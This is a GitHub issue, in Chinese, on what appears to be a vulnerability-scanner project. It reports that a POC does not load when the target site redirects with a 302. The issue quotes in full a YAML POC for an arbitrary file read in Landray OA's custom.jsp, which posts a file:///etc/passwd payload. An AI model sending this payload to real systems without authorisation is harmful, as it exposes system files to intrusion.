New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

网站302跳转后，POC加载问题 #357

Open

mlxwlX opened this issue Jun 12, 2024 · 0 comments

mlxwlX commented Jun 12, 2024

写POC时候发现以下问题

params: []
name: 蓝凌OA custom.jsp-任意文件读取
set: {}
rules:

method: POST
path: /sys/ui/extend/varkind/custom.jsp
headers: {}
body: var={"body":{"file":"file:///etc/passwd"}}
search: ""
followredirects: false
expression: response.status == 200 && response.body.bcontains(b"root")'
groups: {}
detail:
author: ""
links: []
description: ""
version: ""

以下是正常加载

网站没有302跳转，数据包看到是成功加载了POC，发送了一条POST请求

换一个网站，存在302跳转，看Burp的数据包发现并没有加载POC进行检测

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment